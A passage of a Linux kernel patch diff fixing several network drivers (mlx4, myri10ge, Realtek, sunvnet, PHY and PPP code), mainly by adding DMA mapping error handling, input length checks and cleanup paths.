cpu_to_be32(0x80000000); + } + } + } +} + static u32 mlx4_en_free_tx_desc(struct mlx4_en_priv *priv, struct mlx4_en_tx_ring *ring, @@ -205,8 +238,6 @@ static u32 mlx4_en_free_tx_desc(struct mlx4_en_priv *priv, void *end = ring->buf + ring->buf_size; int frags = skb_shinfo(skb)->nr_frags; int i; - __be32 *ptr = (__be32 *)tx_desc; - __be32 stamp = cpu_to_be32(STAMP_VAL | (!!owner << STAMP_SHIFT)); struct skb_shared_hwtstamps hwts; if (timestamp) { @@ -232,12 +263,6 @@ static u32 mlx4_en_free_tx_desc(struct mlx4_en_priv *priv, skb_frag_size(frag), PCI_DMA_TODEVICE); } } - /* Stamp the freed descriptor */ - for (i = 0; i < tx_info->nr_txbb * TXBB_SIZE; i += STAMP_STRIDE) { - *ptr = stamp; - ptr += STAMP_DWORDS; - } - } else { if (!tx_info->inl) { if ((void *) data >= end) { @@ -263,16 +288,6 @@ static u32 mlx4_en_free_tx_desc(struct mlx4_en_priv *priv, ++data; } } - /* Stamp the freed descriptor */ - for (i = 0; i < tx_info->nr_txbb * TXBB_SIZE; i += STAMP_STRIDE) { - *ptr = stamp; - ptr += STAMP_DWORDS; - if ((void *) ptr >= end) { - ptr = ring->buf; - stamp ^= cpu_to_be32(0x80000000); - } - } - } dev_kfree_skb_any(skb); return tx_info->nr_txbb; @@ -318,8 +333,9 @@ static void mlx4_en_process_tx_cq(struct net_device *dev, struct mlx4_en_cq *cq) struct mlx4_en_tx_ring *ring = &priv->tx_ring[cq->ring]; struct mlx4_cqe *cqe; u16 index; - u16 new_index, ring_index; + u16 new_index, ring_index, stamp_index; u32 txbbs_skipped = 0; + u32 txbbs_stamp = 0; u32 cons_index = mcq->cons_index; int size = cq->size; u32 size_mask = ring->size_mask; @@ -335,6 +351,7 @@ static void mlx4_en_process_tx_cq(struct net_device *dev, struct mlx4_en_cq *cq) index = cons_index & size_mask; cqe = &buf[(index << factor) + factor]; ring_index = ring->cons & size_mask; + stamp_index = ring_index; /* Process all completed CQEs */ while (XNOR(cqe->owner_sr_opcode & MLX4_CQE_OWNER_MASK, @@ -359,6 +376,12 @@ static void mlx4_en_process_tx_cq(struct net_device *dev, struct mlx4_en_cq *cq) priv, ring, ring_index, !!((ring->cons + txbbs_skipped) & ring->size), timestamp); + + mlx4_en_stamp_wqe(priv, ring, stamp_index, + !!((ring->cons + txbbs_stamp) & + ring->size)); + stamp_index = ring_index; + txbbs_stamp = txbbs_skipped; packets++; bytes += ring->tx_info[ring_index].nr_bytes; } while (ring_index != new_index); diff --git a/drivers/net/ethernet/mellanox/mlx4/eq.c b/drivers/net/ethernet/mellanox/mlx4/eq.c index 6000342f9725d..16a1ccc269f1b 100644 --- a/drivers/net/ethernet/mellanox/mlx4/eq.c +++ b/drivers/net/ethernet/mellanox/mlx4/eq.c @@ -183,7 +183,7 @@ static void slave_event(struct mlx4_dev *dev, u8 slave, struct mlx4_eqe *eqe) return; } - memcpy(s_eqe, eqe, dev->caps.eqe_size - 1); + memcpy(s_eqe, eqe, sizeof(struct mlx4_eqe) - 1); s_eqe->slave_id = slave; /* ensure all information is written before setting the ownersip bit */ wmb(); diff --git a/drivers/net/ethernet/mellanox/mlx4/resource_tracker.c b/drivers/net/ethernet/mellanox/mlx4/resource_tracker.c index 1157f028a90f3..6cc808865e953 100644 --- a/drivers/net/ethernet/mellanox/mlx4/resource_tracker.c +++ b/drivers/net/ethernet/mellanox/mlx4/resource_tracker.c @@ -1207,7 +1207,7 @@ static int qp_alloc_res(struct mlx4_dev *dev, int slave, int op, int cmd, switch (op) { case RES_OP_RESERVE: - count = get_param_l(&in_param); + count = get_param_l(&in_param) & 0xffffff; align = get_param_h(&in_param); err = __mlx4_qp_reserve_range(dev, count, align, &base); if (err) diff --git a/drivers/net/ethernet/myricom/myri10ge/myri10ge.c b/drivers/net/ethernet/myricom/myri10ge/myri10ge.c index 7be9788ed0f6f..4fb93c5b55631 100644 --- a/drivers/net/ethernet/myricom/myri10ge/myri10ge.c +++ b/drivers/net/ethernet/myricom/myri10ge/myri10ge.c @@ -856,6 +856,10 @@ static int myri10ge_dma_test(struct myri10ge_priv *mgp, int test_type) return -ENOMEM; dmatest_bus = pci_map_page(mgp->pdev, dmatest_page, 0, PAGE_SIZE, DMA_BIDIRECTIONAL); + if (unlikely(pci_dma_mapping_error(mgp->pdev, dmatest_bus))) { + __free_page(dmatest_page); + return -ENOMEM; + } /* Run a small DMA test. * The magic multipliers to the length tell the firmware @@ -1191,6 +1195,7 @@ myri10ge_alloc_rx_pages(struct myri10ge_priv *mgp, struct myri10ge_rx_buf *rx, int bytes, int watchdog) { struct page *page; + dma_addr_t bus; int idx; #if MYRI10GE_ALLOC_SIZE > 4096 int end_offset; @@ -1215,11 +1220,21 @@ myri10ge_alloc_rx_pages(struct myri10ge_priv *mgp, struct myri10ge_rx_buf *rx, rx->watchdog_needed = 1; return; } + + bus = pci_map_page(mgp->pdev, page, 0, + MYRI10GE_ALLOC_SIZE, + PCI_DMA_FROMDEVICE); + if (unlikely(pci_dma_mapping_error(mgp->pdev, bus))) { + __free_pages(page, MYRI10GE_ALLOC_ORDER); + if (rx->fill_cnt - rx->cnt < 16) + rx->watchdog_needed = 1; + return; + } + rx->page = page; rx->page_offset = 0; - rx->bus = pci_map_page(mgp->pdev, page, 0, - MYRI10GE_ALLOC_SIZE, - PCI_DMA_FROMDEVICE); + rx->bus = bus; + } rx->info[idx].page = rx->page; rx->info[idx].page_offset = rx->page_offset; @@ -2576,6 +2591,35 @@ myri10ge_submit_req(struct myri10ge_tx_buf *tx, struct mcp_kreq_ether_send *src, mb(); } +static void myri10ge_unmap_tx_dma(struct myri10ge_priv *mgp, + struct myri10ge_tx_buf *tx, int idx) +{ + unsigned int len; + int last_idx; + + /* Free any DMA resources we've alloced and clear out the skb slot */ + last_idx = (idx + 1) & tx->mask; + idx = tx->req & tx->mask; + do { + len = dma_unmap_len(&tx->info[idx], len); + if (len) { + if (tx->info[idx].skb != NULL) + pci_unmap_single(mgp->pdev, + dma_unmap_addr(&tx->info[idx], + bus), len, + PCI_DMA_TODEVICE); + else + pci_unmap_page(mgp->pdev, + dma_unmap_addr(&tx->info[idx], + bus), len, + PCI_DMA_TODEVICE); + dma_unmap_len_set(&tx->info[idx], len, 0); + tx->info[idx].skb = NULL; + } + idx = (idx + 1) & tx->mask; + } while (idx != last_idx); +} + /* * Transmit a packet. We need to split the packet so that a single * segment does not cross myri10ge->tx_boundary, so this makes segment @@ -2599,7 +2643,7 @@ static netdev_tx_t myri10ge_xmit(struct sk_buff *skb, u32 low; __be32 high_swapped; unsigned int len; - int idx, last_idx, avail, frag_cnt, frag_idx, count, mss, max_segments; + int idx, avail, frag_cnt, frag_idx, count, mss, max_segments; u16 pseudo_hdr_offset, cksum_offset, queue; int cum_len, seglen, boundary, rdma_count; u8 flags, odd_flag; @@ -2696,9 +2740,12 @@ static netdev_tx_t myri10ge_xmit(struct sk_buff *skb, /* map the skb for DMA */ len = skb_headlen(skb); + bus = pci_map_single(mgp->pdev, skb->data, len, PCI_DMA_TODEVICE); + if (unlikely(pci_dma_mapping_error(mgp->pdev, bus))) + goto drop; + idx = tx->req & tx->mask; tx->info[idx].skb = skb; - bus = pci_map_single(mgp->pdev, skb->data, len, PCI_DMA_TODEVICE); dma_unmap_addr_set(&tx->info[idx], bus, bus); dma_unmap_len_set(&tx->info[idx], len, len); @@ -2797,12 +2844,16 @@ static netdev_tx_t myri10ge_xmit(struct sk_buff *skb, break; /* map next fragment for DMA */ - idx = (count + tx->req) & tx->mask; frag = &skb_shinfo(skb)->frags[frag_idx]; frag_idx++; len = skb_frag_size(frag); bus = skb_frag_dma_map(&mgp->pdev->dev, frag, 0, len, DMA_TO_DEVICE); + if (unlikely(pci_dma_mapping_error(mgp->pdev, bus))) { + myri10ge_unmap_tx_dma(mgp, tx, idx); + goto drop; + } + idx = (count + tx->req) & tx->mask; dma_unmap_addr_set(&tx->info[idx], bus, bus); dma_unmap_len_set(&tx->info[idx], len, len); } @@ -2833,31 +2884,8 @@ static netdev_tx_t myri10ge_xmit(struct sk_buff *skb, return NETDEV_TX_OK; abort_linearize: - /* Free any DMA resources we've alloced and clear out the skb - * slot so as to not trip up assertions, and to avoid a - * double-free if linearizing fails */ + myri10ge_unmap_tx_dma(mgp, tx, idx); - last_idx = (idx + 1) & tx->mask; - idx = tx->req & tx->mask; - tx->info[idx].skb = NULL; - do { - len = dma_unmap_len(&tx->info[idx], len); - if (len) { - if (tx->info[idx].skb != NULL) - pci_unmap_single(mgp->pdev, - dma_unmap_addr(&tx->info[idx], - bus), len, - PCI_DMA_TODEVICE); - else - pci_unmap_page(mgp->pdev, - dma_unmap_addr(&tx->info[idx], - bus), len, - PCI_DMA_TODEVICE); - dma_unmap_len_set(&tx->info[idx], len, 0); - tx->info[idx].skb = NULL; - } - idx = (idx + 1) & tx->mask; - } while (idx != last_idx); if (skb_is_gso(skb)) { netdev_err(mgp->dev, "TSO but wanted to linearize?!?!?\n"); goto drop; diff --git a/drivers/net/ethernet/qlogic/netxen/netxen_nic_main.c b/drivers/net/ethernet/qlogic/netxen/netxen_nic_main.c index af951f343ff6d..50104a7e963f0 100644 --- a/drivers/net/ethernet/qlogic/netxen/netxen_nic_main.c +++ b/drivers/net/ethernet/qlogic/netxen/netxen_nic_main.c @@ -2315,7 +2315,10 @@ static int netxen_nic_poll(struct napi_struct *napi, int budget) work_done = netxen_process_rcv_ring(sds_ring, budget); - if ((work_done < budget) && tx_complete) { + if (!tx_complete) + work_done = budget; + + if (work_done < budget) { napi_complete(&sds_ring->napi); if (test_bit(__NX_DEV_UP, &adapter->state)) netxen_nic_enable_int(sds_ring); diff --git a/drivers/net/ethernet/qlogic/qlge/qlge_main.c b/drivers/net/ethernet/qlogic/qlge/qlge_main.c index f87cc216045b5..a978cc2eafe07 100644 --- a/drivers/net/ethernet/qlogic/qlge/qlge_main.c +++ b/drivers/net/ethernet/qlogic/qlge/qlge_main.c @@ -1620,7 +1620,18 @@ static void ql_process_mac_rx_skb(struct ql_adapter *qdev, return; } skb_reserve(new_skb, NET_IP_ALIGN); + + pci_dma_sync_single_for_cpu(qdev->pdev, + dma_unmap_addr(sbq_desc, mapaddr), + dma_unmap_len(sbq_desc, maplen), + PCI_DMA_FROMDEVICE); + memcpy(skb_put(new_skb, length), skb->data, length); + + pci_dma_sync_single_for_device(qdev->pdev, + dma_unmap_addr(sbq_desc, mapaddr), + dma_unmap_len(sbq_desc, maplen), + PCI_DMA_FROMDEVICE); skb = new_skb; /* Frame error, so drop the packet. */ diff --git a/drivers/net/ethernet/realtek/8139cp.c b/drivers/net/ethernet/realtek/8139cp.c index 064425d3178dd..437d4cfd42cc7 100644 --- a/drivers/net/ethernet/realtek/8139cp.c +++ b/drivers/net/ethernet/realtek/8139cp.c @@ -899,7 +899,7 @@ static netdev_tx_t cp_start_xmit (struct sk_buff *skb, return NETDEV_TX_OK; out_dma_error: - kfree_skb(skb); + dev_kfree_skb_any(skb); cp->dev->stats.tx_dropped++; goto out_unlock; } diff --git a/drivers/net/ethernet/realtek/8139too.c b/drivers/net/ethernet/realtek/8139too.c index 3ccedeb8aba03..942673fcb391f 100644 --- a/drivers/net/ethernet/realtek/8139too.c +++ b/drivers/net/ethernet/realtek/8139too.c @@ -1715,9 +1715,9 @@ static netdev_tx_t rtl8139_start_xmit (struct sk_buff *skb, if (len < ETH_ZLEN) memset(tp->tx_buf[entry], 0, ETH_ZLEN); skb_copy_and_csum_dev(skb, tp->tx_buf[entry]); - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); } else { - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); dev->stats.tx_dropped++; return NETDEV_TX_OK; } diff --git a/drivers/net/ethernet/realtek/r8169.c b/drivers/net/ethernet/realtek/r8169.c index e9b5d77a90dbf..2183c61891484 100644 --- a/drivers/net/ethernet/realtek/r8169.c +++ b/drivers/net/ethernet/realtek/r8169.c @@ -5768,7 +5768,7 @@ static void rtl8169_tx_clear_range(struct rtl8169_private *tp, u32 start, tp->TxDescArray + entry); if (skb) { tp->dev->stats.tx_dropped++; - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); tx_skb->skb = NULL; } } @@ -5993,7 +5993,7 @@ static netdev_tx_t rtl8169_start_xmit(struct sk_buff *skb, err_dma_1: rtl8169_unmap_tx_skb(d, tp->tx_skb + entry, txd); err_dma_0: - dev_kfree_skb(skb); + dev_kfree_skb_any(skb); err_update_stats: dev->stats.tx_dropped++; return NETDEV_TX_OK; @@ -6076,7 +6076,7 @@ static void rtl_tx(struct net_device *dev, struct rtl8169_private *tp) tp->tx_stats.packets++; tp->tx_stats.bytes += tx_skb->skb->len; u64_stats_update_end(&tp->tx_stats.syncp); - dev_kfree_skb(tx_skb->skb); + dev_kfree_skb_any(tx_skb->skb); tx_skb->skb = NULL; } dirty_tx++; diff --git a/drivers/net/ethernet/renesas/sh_eth.c b/drivers/net/ethernet/renesas/sh_eth.c index e29fe8dbd226a..93b652516a941 100644 --- a/drivers/net/ethernet/renesas/sh_eth.c +++ b/drivers/net/ethernet/renesas/sh_eth.c @@ -1161,7 +1161,8 @@ static void sh_eth_ring_format(struct net_device *ndev) mdp->dirty_rx = (u32) (i - mdp->num_rx_ring); /* Mark the last entry as wrapping the ring. */ - rxdesc->status |= cpu_to_edmac(mdp, RD_RDEL); + if (rxdesc) + rxdesc->status |= cpu_to_edmac(mdp, RD_RDEL); memset(mdp->tx_ring, 0, tx_ringsize); @@ -1421,6 +1422,7 @@ static int sh_eth_rx(struct net_device *ndev, u32 intr_status) desc_status >>= 16; #endif + skb = mdp->rx_skbuff[entry]; if (desc_status & (RD_RFS1 | RD_RFS2 | RD_RFS3 | RD_RFS4 | RD_RFS5 | RD_RFS6 | RD_RFS10)) { ndev->stats.rx_errors++; @@ -1436,12 +1438,11 @@ static int sh_eth_rx(struct net_device *ndev, u32 intr_status) ndev->stats.rx_missed_errors++; if (desc_status & RD_RFS10) ndev->stats.rx_over_errors++; - } else { + } else if (skb) { if (!mdp->cd->hw_swap) sh_eth_soft_swap( phys_to_virt(ALIGN(rxdesc->addr, 4)), pkt_len + 2); - skb = mdp->rx_skbuff[entry]; mdp->rx_skbuff[entry] = NULL; if (mdp->cd->rpadir) skb_reserve(skb, NET_IP_ALIGN); diff --git a/drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c b/drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c index c5f9cb85c8ef9..ff08be535a4d2 100644 --- a/drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c +++ b/drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c @@ -731,10 +731,13 @@ static int stmmac_get_ts_info(struct net_device *dev, { struct stmmac_priv *priv = netdev_priv(dev); - if ((priv->hwts_tx_en) && (priv->hwts_rx_en)) { + if ((priv->dma_cap.time_stamp || priv->dma_cap.atime_stamp)) { - info->so_timestamping = SOF_TIMESTAMPING_TX_HARDWARE | + info->so_timestamping = SOF_TIMESTAMPING_TX_SOFTWARE | + SOF_TIMESTAMPING_TX_HARDWARE | + SOF_TIMESTAMPING_RX_SOFTWARE | SOF_TIMESTAMPING_RX_HARDWARE | + SOF_TIMESTAMPING_SOFTWARE | SOF_TIMESTAMPING_RAW_HARDWARE; if (priv->ptp_clock) diff --git a/drivers/net/ethernet/sun/sunvnet.c b/drivers/net/ethernet/sun/sunvnet.c index 3df56840a3b92..ade8bdfc03afa 100644 --- a/drivers/net/ethernet/sun/sunvnet.c +++ b/drivers/net/ethernet/sun/sunvnet.c @@ -656,7 +656,7 @@ static int vnet_start_xmit(struct sk_buff *skb, struct net_device *dev) spin_lock_irqsave(&port->vio.lock, flags); dr = &port->vio.drings[VIO_DRIVER_TX_RING]; - if (unlikely(vnet_tx_dring_avail(dr) < 2)) { + if (unlikely(vnet_tx_dring_avail(dr) < 1)) { if (!netif_queue_stopped(dev)) { netif_stop_queue(dev); @@ -704,7 +704,7 @@ static int vnet_start_xmit(struct sk_buff *skb, struct net_device *dev) dev->stats.tx_bytes += skb->len; dr->prod = (dr->prod + 1) & (VNET_TX_RING_SIZE - 1); - if (unlikely(vnet_tx_dring_avail(dr) < 2)) { + if (unlikely(vnet_tx_dring_avail(dr) < 1)) { netif_stop_queue(dev); if (vnet_tx_dring_avail(dr) > VNET_TX_WAKEUP_THRESH(dr)) netif_wake_queue(dev); @@ -1083,6 +1083,24 @@ static struct vnet *vnet_find_or_create(const u64 *local_mac) return vp; } +static void vnet_cleanup(void) +{ + struct vnet *vp; + struct net_device *dev; + + mutex_lock(&vnet_list_mutex); + while (!list_empty(&vnet_list)) { + vp = list_first_entry(&vnet_list, struct vnet, list); + list_del(&vp->list); + dev = vp->dev; + /* vio_unregister_driver() should have cleaned up port_list */ + BUG_ON(!list_empty(&vp->port_list)); + unregister_netdev(dev); + free_netdev(dev); + } + mutex_unlock(&vnet_list_mutex); +} + static const char *local_mac_prop = "local-mac-address"; static struct vnet *vnet_find_parent(struct mdesc_handle *hp, @@ -1240,7 +1258,6 @@ static int vnet_port_remove(struct vio_dev *vdev) kfree(port); - unregister_netdev(vp->dev); } return 0; } @@ -1268,6 +1285,7 @@ static int __init vnet_init(void) static void __exit vnet_exit(void) { vio_unregister_driver(&vnet_port_driver); + vnet_cleanup(); } module_init(vnet_init); diff --git a/drivers/net/ethernet/ti/cpsw.c b/drivers/net/ethernet/ti/cpsw.c index b1ab3a4956a5b..e18240de159c4 100644 --- a/drivers/net/ethernet/ti/cpsw.c +++ b/drivers/net/ethernet/ti/cpsw.c @@ -1293,6 +1293,19 @@ static int cpsw_ndo_vlan_rx_add_vid(struct net_device *ndev, if (vid == priv->data.default_vlan) return 0; + if (priv->data.dual_emac) { + /* In dual EMAC, reserved VLAN id should not be used for + * creating VLAN interfaces as this can break the dual + * EMAC port separation + */ + int i; + + for (i = 0; i < priv->data.slaves; i++) { + if (vid == priv->slaves[i].port_vlan) + return -EINVAL; + } + } + dev_info(priv->dev, "Adding vlanid %d to vlan filter\n", vid); return cpsw_add_vlan_ale_entry(priv, vid); } @@ -1306,6 +1319,15 @@ static int cpsw_ndo_vlan_rx_kill_vid(struct net_device *ndev, if (vid == priv->data.default_vlan) return 0; + if (priv->data.dual_emac) { + int i; + + for (i = 0; i < priv->data.slaves; i++) { + if (vid == priv->slaves[i].port_vlan) + return -EINVAL; + } + } + dev_info(priv->dev, "removing vlanid %d from vlan filter\n", vid); ret = cpsw_ale_del_vlan(priv->ale, vid, 0); if (ret != 0) diff --git a/drivers/net/hyperv/netvsc_drv.c b/drivers/net/hyperv/netvsc_drv.c index aea78fc2e48f3..59e9c56e5b8ab 100644 --- a/drivers/net/hyperv/netvsc_drv.c +++ b/drivers/net/hyperv/netvsc_drv.c @@ -138,6 +138,7 @@ static int netvsc_start_xmit(struct sk_buff *skb, struct net_device *net) struct hv_netvsc_packet *packet; int ret; unsigned int i, num_pages, npg_data; + u32 skb_length = skb->len; /* Add multipages for skb->data and additional 2 for RNDIS */ npg_data = (((unsigned long)skb->data + skb_headlen(skb) - 1) @@ -208,7 +209,7 @@ static int netvsc_start_xmit(struct sk_buff *skb, struct net_device *net) ret = rndis_filter_send(net_device_ctx->device_ctx, packet); if (ret == 0) { - net->stats.tx_bytes += skb->len; + net->stats.tx_bytes += skb_length; net->stats.tx_packets++; } else { kfree(packet); diff --git a/drivers/net/ieee802154/fakehard.c b/drivers/net/ieee802154/fakehard.c index bf0d55e2dd635..6adbef89c4b06 100644 --- a/drivers/net/ieee802154/fakehard.c +++ b/drivers/net/ieee802154/fakehard.c @@ -376,17 +376,20 @@ static int ieee802154fake_probe(struct platform_device *pdev) err = wpan_phy_register(phy); if (err) - goto out; + goto err_phy_reg; err = register_netdev(dev); - if (err < 0) - goto out; + if (err) + goto err_netdev_reg; dev_info(&pdev->dev, "Added ieee802154 HardMAC hardware\n"); return 0; -out: - unregister_netdev(dev); +err_netdev_reg: + wpan_phy_unregister(phy); +err_phy_reg: + free_netdev(dev); + wpan_phy_free(phy); return err; } diff --git a/drivers/net/irda/irtty-sir.c b/drivers/net/irda/irtty-sir.c index a412671978393..0d71fa9f0c68f 100644 --- a/drivers/net/irda/irtty-sir.c +++ b/drivers/net/irda/irtty-sir.c @@ -430,16 +430,6 @@ static int irtty_open(struct tty_struct *tty) /* Module stuff handled via irda_ldisc.owner - Jean II */ - /* First make sure we're not already connected. */ - if (tty->disc_data != NULL) { - priv = tty->disc_data; - if (priv && priv->magic == IRTTY_MAGIC) { - ret = -EEXIST; - goto out; - } - tty->disc_data = NULL; /* ### */ - } - /* stop the underlying driver */ irtty_stop_receiver(tty, TRUE); if (tty->ops->stop) diff --git a/drivers/net/macvlan.c b/drivers/net/macvlan.c index 155ef4bbde91c..9be91cb4f4a30 100644 --- a/drivers/net/macvlan.c +++ b/drivers/net/macvlan.c @@ -500,6 +500,7 @@ static int macvlan_init(struct net_device *dev) (lowerdev->state & MACVLAN_STATE_MASK); dev->features = lowerdev->features & MACVLAN_FEATURES; dev->features |= NETIF_F_LLTX; + dev->vlan_features = lowerdev->vlan_features & MACVLAN_FEATURES; dev->gso_max_size = lowerdev->gso_max_size; dev->iflink = lowerdev->ifindex; dev->hard_header_len = lowerdev->hard_header_len; diff --git a/drivers/net/macvtap.c b/drivers/net/macvtap.c index 9e56eb479a4fc..8fc46fcaee54e 100644 --- a/drivers/net/macvtap.c +++ b/drivers/net/macvtap.c @@ -625,6 +625,8 @@ static int macvtap_skb_to_vnet_hdr(const struct sk_buff *skb, if (skb->ip_summed == CHECKSUM_PARTIAL) { vnet_hdr->flags = VIRTIO_NET_HDR_F_NEEDS_CSUM; vnet_hdr->csum_start = skb_checksum_start_offset(skb); + if (vlan_tx_tag_present(skb)) + vnet_hdr->csum_start += VLAN_HLEN; vnet_hdr->csum_offset = skb->csum_offset; } else if (skb->ip_summed == CHECKSUM_UNNECESSARY) { vnet_hdr->flags = VIRTIO_NET_HDR_F_DATA_VALID; @@ -656,12 +658,15 @@ static unsigned long iov_pages(const struct iovec *iv, int offset, return pages; } +/* Neighbour code has some assumptions on HH_DATA_MOD alignment */ +#define MACVTAP_RESERVE HH_DATA_OFF(ETH_HLEN) + /* Get packet from user space buffer */ static ssize_t macvtap_get_user(struct macvtap_queue *q, struct msghdr *m, const struct iovec *iv, unsigned long total_len, size_t count, int noblock) { - int good_linear = SKB_MAX_HEAD(NET_IP_ALIGN); + int good_linear = SKB_MAX_HEAD(MACVTAP_RESERVE); struct sk_buff *skb; struct macvlan_dev *vlan; unsigned long len = total_len; @@ -720,7 +725,7 @@ static ssize_t macvtap_get_user(struct macvtap_queue *q, struct msghdr *m, linear = vnet_hdr.hdr_len; } - skb = macvtap_alloc_skb(&q->sk, NET_IP_ALIGN, copylen, + skb = macvtap_alloc_skb(&q->sk, MACVTAP_RESERVE, copylen, linear, noblock, &err); if (!skb) goto err; diff --git a/drivers/net/phy/broadcom.c b/drivers/net/phy/broadcom.c index f8c90ea751083..7a1ff5797f128 100644 --- a/drivers/net/phy/broadcom.c +++ b/drivers/net/phy/broadcom.c @@ -848,7 +848,7 @@ static struct mdio_device_id __maybe_unused broadcom_tbl[] = { { PHY_ID_BCM5421, 0xfffffff0 }, { PHY_ID_BCM5461, 0xfffffff0 }, { PHY_ID_BCM5464, 0xfffffff0 }, - { PHY_ID_BCM5482, 0xfffffff0 }, + { PHY_ID_BCM5481, 0xfffffff0 }, { PHY_ID_BCM5482, 0xfffffff0 }, { PHY_ID_BCM50610, 0xfffffff0 }, { PHY_ID_BCM50610M, 0xfffffff0 }, diff --git a/drivers/net/phy/dp83640.c b/drivers/net/phy/dp83640.c index 7490b6c866e68..d2907a6e3dab8 100644 --- a/drivers/net/phy/dp83640.c +++ b/drivers/net/phy/dp83640.c @@ -45,7 +45,7 @@ #define PSF_TX 0x1000 #define EXT_EVENT 1 #define CAL_EVENT 7 -#define CAL_TRIGGER 7 +#define CAL_TRIGGER 1 #define PER_TRIGGER 6 #define MII_DP83640_MICR 0x11 diff --git a/drivers/net/phy/phy.c b/drivers/net/phy/phy.c index 38f0b312ff85e..299d35552a3e2 100644 --- a/drivers/net/phy/phy.c +++ b/drivers/net/phy/phy.c @@ -202,6 +202,25 @@ static inline int phy_find_valid(int idx, u32 features) return idx < MAX_NUM_SETTINGS ? idx : MAX_NUM_SETTINGS - 1; } +/** + * phy_check_valid - check if there is a valid PHY setting which matches + * speed, duplex, and feature mask + * @speed: speed to match + * @duplex: duplex to match + * @features: A mask of the valid settings + * + * Description: Returns true if there is a valid setting, false otherwise. + */ +static inline bool phy_check_valid(int speed, int duplex, u32 features) +{ + unsigned int idx; + + idx = phy_find_valid(phy_find_setting(speed, duplex), features); + + return settings[idx].speed == speed && settings[idx].duplex == duplex && + (settings[idx].setting & features); +} + /** * phy_sanitize_settings - make sure the PHY is set to supported speed and duplex * @phydev: the target phy_device struct @@ -1003,15 +1022,17 @@ int phy_init_eee(struct phy_device *phydev, bool clk_stop_enable) /* According to 802.3az,the EEE is supported only in full duplex-mode. * Also EEE feature is active when core is operating with MII, GMII - * or RGMII. + * or RGMII (all kinds). Internal PHYs are also allowed to proceed and + * should return an error if they do not support EEE. */ if ((phydev->duplex == DUPLEX_FULL) && ((phydev->interface == PHY_INTERFACE_MODE_MII) || (phydev->interface == PHY_INTERFACE_MODE_GMII) || - (phydev->interface == PHY_INTERFACE_MODE_RGMII))) { + (phydev->interface >= PHY_INTERFACE_MODE_RGMII && + phydev->interface <= PHY_INTERFACE_MODE_RGMII_TXID))) { int eee_lp, eee_cap, eee_adv; u32 lp, cap, adv; - int idx, status; + int status; /* Read phy status to properly get the right settings */ status = phy_read_status(phydev); @@ -1043,8 +1064,7 @@ int phy_init_eee(struct phy_device *phydev, bool clk_stop_enable) adv = mmd_eee_adv_to_ethtool_adv_t(eee_adv); lp = mmd_eee_adv_to_ethtool_adv_t(eee_lp); - idx = phy_find_setting(phydev->speed, phydev->duplex); - if (!(lp & adv & settings[idx].setting)) + if (!phy_check_valid(phydev->speed, phydev->duplex, lp & adv)) goto eee_exit; if (clk_stop_enable) { diff --git a/drivers/net/ppp/ppp_deflate.c b/drivers/net/ppp/ppp_deflate.c index 602c625d95d5e..b5edc7f96a392 100644 --- a/drivers/net/ppp/ppp_deflate.c +++ b/drivers/net/ppp/ppp_deflate.c @@ -246,7 +246,7 @@ static int z_compress(void *arg, unsigned char *rptr, unsigned char *obuf, /* * See if we managed to reduce the size of the packet. */ - if (olen < isize) { + if (olen < isize && olen <= osize) { state->stats.comp_bytes += olen; state->stats.comp_packets++; } else { diff --git a/drivers/net/ppp/ppp_generic.c b/drivers/net/ppp/ppp_generic.c index eaef679e29107..14a8d29586986 100644 --- a/drivers/net/ppp/ppp_generic.c +++ b/drivers/net/ppp/ppp_generic.c @@ -601,7 +601,7 @@ static long ppp_ioctl(struct file *file, unsigned int cmd, unsigned long arg) if (file == ppp->owner) ppp_shutdown_interface(ppp); } - if (atomic_long_read(&file->f_count) <= 2) { + if (atomic_long_read(&file->f_count) < 2) { ppp_release(NULL, file); err = 0; } else @@ -716,10 +716,8 @@ static long ppp_ioctl(struct file *file, unsigned int cmd, unsigned long arg) val &= 0xffff; } vj = slhc_init(val2+1, val+1); - if (!vj) { - netdev_err(ppp->dev, - "PPP: no memory (VJ compressor)\n"); - err = -ENOMEM; + if (IS_ERR(vj)) { + err = PTR_ERR(vj); break; } ppp_lock(ppp); diff --git a/drivers/net/ppp/pppoe.c b/drivers/net/ppp/pppoe.c index 6839fb07a4c9d..2840cf6083129 100644 --- a/drivers/net/ppp/pppoe.c +++ b/drivers/net/ppp/pppoe.c @@ -313,7 +313,6 @@ static void pppoe_flush_dev(struct net_device *dev) if (po->pppoe_dev == dev && sk->sk_state & (PPPOX_CONNECTED | PPPOX_BOUND | PPPOX_ZOMBIE)) { pppox_unbind_sock(sk); - sk->sk_state = PPPOX_ZOMBIE; sk->sk_state_change(sk); po->pppoe_dev = NULL; dev_put(dev); @@ -570,7 +569,7 @@ static int pppoe_release(struct socket *sock) po = pppox_sk(sk); - if (sk->sk_state & (PPPOX_CONNECTED | PPPOX_BOUND | PPPOX_ZOMBIE)) { + if (po->pppoe_dev) { dev_put(po->pppoe_dev); po->pppoe_dev = NULL; } @@ -675,7 +674,7 @@ static int pppoe_connect(struct socket *sock, struct sockaddr *uservaddr, po->chan.hdrlen = (sizeof(struct pppoe_hdr) + dev->hard_header_len); - po->chan.mtu = dev->mtu - sizeof(struct pppoe_hdr); + po->chan.mtu = dev->mtu - sizeof(struct pppoe_hdr) - 2; po->chan.private = sk; po->chan.ops = &pppoe_chan_ops; diff --git a/drivers/net/ppp/pptp.c b/drivers/net/ppp/pptp.c index 7f10588fe6686..9a423435039ae 100644 --- a/drivers/net/ppp/pptp.c +++ b/drivers/net/ppp/pptp.c @@ -281,7 +281,7 @@ static int pptp_xmit(struct ppp_channel *chan, struct sk_buff *skb) nf_reset(skb); skb->ip_summed = CHECKSUM_NONE; - ip_select_ident(skb, &rt->dst, NULL); + ip_select_ident(skb, NULL); ip_send_check(iph); ip_local_out(skb); @@ -420,6 +420,9 @@ static int pptp_bind(struct socket *sock, struct sockaddr *uservaddr, struct pptp_opt *opt = &po->proto.pptp; int error = 0; + if (sockaddr_len < sizeof(struct sockaddr_pppox)) + return -EINVAL; + lock_sock(sk); opt->src_addr = sp->sa_addr.pptp; @@ -441,6 +444,9 @@ static int pptp_connect(struct socket *sock, struct sockaddr *uservaddr, struct flowi4 fl4; int error = 0; + if (sockaddr_len < sizeof(struct sockaddr_pppox)) + return -EINVAL; + if (sp->sa_protocol != PX_PROTO_PPTP) return 